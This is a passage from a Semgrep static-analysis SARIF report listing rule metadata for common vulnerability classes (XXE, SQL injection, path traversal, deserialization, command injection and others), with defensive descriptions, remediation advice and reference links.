prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring $FACTORY with `$FACTORY.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `$FACTORY.setExpandEntityReferences(false)` `$FACTORY.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)` `$FACTORY.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` `$FACTORY.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","id":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","name":"java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.xxe.documentbuilderfactory-xxe-parse.documentbuilderfactory-xxe-parse"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected possible formatted SQL query. Use parameterized queries instead."},"help":{"markdown":"Detected possible formatted SQL query. Use parameterized queries instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query)\n - [https://stackoverflow.com/questions/775296/mysql-parameterized-queries](https://stackoverflow.com/questions/775296/mysql-parameterized-queries)\n","text":"Detected possible formatted SQL query. Use parameterized queries instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.formatted-sql-query.formatted-sql-query","id":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","name":"python.lang.security.audit.formatted-sql-query.formatted-sql-query","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.formatted-sql-query.formatted-sql-query"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"help":{"markdown":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask)\n - [https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/](https://flask.palletsprojects.com/en/2.3.x/patterns/fileuploads/)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n - [https://owasp.org/www-community/attacks/Path_Traversal](https://owasp.org/www-community/attacks/Path_Traversal)\n - [https://portswigger.net/web-security/file-path-traversal](https://portswigger.net/web-security/file-path-traversal)\n - [https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename](https://werkzeug.palletsprojects.com/en/3.0.x/utils/#werkzeug.utils.secure_filename)\n","text":"The application builds a file path from potentially untrusted data, which can lead to a path traversal vulnerability. An attacker can manipulate the path which the application uses to access files. If the application does not validate user input and sanitize file paths, sensitive files such as configuration or user data can be accessed, potentially creating or overwriting files. In Flask apps, consider using the Werkzeug util `werkzeug.utils.secure_filename()` to sanitize paths and filenames."},"helpUri":"https://semgrep.dev/r/python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","id":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","name":"python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask","properties":{"precision":"very-high","tags":["CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')","HIGH CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.file.tainted-path-traversal-aiofile-flask.tainted-path-traversal-aiofile-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"help":{"markdown":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html)\n","text":"Found potentially unsafe handling of redirect behavior $X. Do not pass `params` to `redirect_to` without the `:only_path => true` hash value."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","id":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","name":"ruby.rails.security.brakeman.check-redirect-to.check-redirect-to","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.brakeman.check-redirect-to.check-redirect-to"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"help":{"markdown":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file)\n - [https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions](https://wiki.sei.cmu.edu/confluence/display/c/FIO06-C.+Create+files+with+appropriate+access+permissions)\n","text":"This call makes a world-writable file which allows any user on a machine to write to the file. This may allow attackers to influence the behaviour of this process by writing to the file."},"helpUri":"https://semgrep.dev/r/cpp.lang.security.filesystem.world-writable-file.world-writable-file","id":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","name":"cpp.lang.security.filesystem.world-writable-file.world-writable-file","properties":{"precision":"very-high","tags":["CWE-732: Incorrect Permission Assignment for Critical Resource","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: cpp.lang.security.filesystem.world-writable-file.world-writable-file"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"help":{"markdown":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"EC2 instances should not have a public IP address attached in order to block public access to the instances. To fix this, set your `associate_public_ip_address` to `\"false\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","id":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","name":"terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-ec2-has-public-ip.aws-ec2-has-public-ip"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"help":{"markdown":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"Detected SHA1 hash algorithm which is considered insecure. SHA1 is not collision resistant and is therefore not suitable as a cryptographic signature. Instead, use PBKDF2 for password hashing or SHA256 or SHA512 for other hash function applications."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-sha1.use-of-sha1","id":"clojure.lang.security.use-of-sha1.use-of-sha1","name":"clojure.lang.security.use-of-sha1.use-of-sha1","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-sha1.use-of-sha1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"help":{"markdown":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/remote-exec)\n - [https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec](https://developer.hashicorp.com/terraform/language/resources/provisioners/local-exec)\n","text":"Provisioners are a tool of last resort and should be avoided where possible. Provisioner behavior cannot be mapped by Terraform as part of a plan, and execute arbitrary shell commands by design."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","id":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","name":"terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec","properties":{"precision":"very-high","tags":["CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')","CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-provisioner-exec.aws-provisioner-exec"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet)\n - [https://semgrep.dev/blog/2022/xml-security-in-java](https://semgrep.dev/blog/2022/xml-security-in-java)\n - [https://semgrep.dev/docs/cheat-sheets/java-xxe/](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/827.html](https://cwe.mitre.org/data/definitions/827.html)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. It is our recommendation to secure this parser against XXE attacks by configuring the parser with `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`. Alternatively, enabling both of the following configurations also provides protection against XXE attacks. `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")` and `factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, \"\")`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","id":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","name":"java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.xxe.tainted-schemafactory-xxe-servlet.tainted-schemafactory-xxe-servlet"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url)\n - [https://docs.rs/mongodb/latest/mongodb/](https://docs.rs/mongodb/latest/mongodb/)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","id":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","name":"rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: rust.secrets.mongodb.hardcoded-connection-url.hardcoded-connection-url"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html](https://pandas.pydata.org/docs/reference/api/pandas.read_pickle.html)\n - [https://docs.python.org/3/library/pickle.html](https://docs.python.org/3/library/pickle.html)\n - [https://redfoxsec.com/blog/insecure-deserialization-in-python/](https://redfoxsec.com/blog/insecure-deserialization-in-python/)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://davidhamann.de/2020/04/05/exploiting-python-pickle/](https://davidhamann.de/2020/04/05/exploiting-python-pickle/)\n - [https://www.exploit-db.com/exploits/49585](https://www.exploit-db.com/exploits/49585)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) The `pandas.read_pickle()` function uses `pickle` for object deserialization and should not be used with untrusted data."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","id":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","name":"python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-pandas-pickle-pyramid.tainted-pandas-pickle-pyramid"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"help":{"markdown":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected non-static command inside exec.Cmd. Audit the input to 'exec.Cmd'. If unverified user data can reach this call site, this is a code injection vulnerability. A malicious actor can inject a malicious script to execute arbitrary code."},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","id":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","name":"go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.dangerous-exec-cmd.dangerous-exec-cmd"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"help":{"markdown":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask)\n - [https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command](https://docs.paramiko.org/en/latest/api/client.html#paramiko.client.SSHClient.exec_command)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://semgrep.dev/docs/cheat-sheets/python-command-injection/](https://semgrep.dev/docs/cheat-sheets/python-command-injection/)\n","text":"Untrusted input might be injected into a command executed by the application, which can lead to a command injection vulnerability. An attacker can execute arbitrary commands, potentially gaining complete control of the system. To prevent this vulnerability, avoid executing OS commands with user input. If this is unavoidable, validate and sanitize the input, and use safe methods for executing the commands."},"helpUri":"https://semgrep.dev/r/python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","id":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","name":"python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.os.tainted-os-command-paramiko-flask.tainted-os-command-paramiko-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"help":{"markdown":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message)\n - [https://www.damonkohler.com/2008/12/email-injection.html](https://www.damonkohler.com/2008/12/email-injection.html)\n","text":"Found request data in 'send_mail(...)' that uses 'html_message'. This is dangerous because HTML emails are susceptible to XSS. An attacker could inject data into this HTML email, causing XSS."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","id":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","name":"python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message","properties":{"precision":"very-high","tags":["CWE-74: Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.email.xss-send-mail-html-message.xss-send-mail-html-message"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask)\n - [https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text](https://docs.sqlalchemy.org/en/20/core/sqlelement.html#sqlalchemy.sql.expression.text)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use the SQLAlchemy ORM provided functions to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.flask.db.sqlalchemy-flask.sqlalchemy-flask","id":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","name":"python.flask.db.sqlalchemy-flask.sqlalchemy-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of 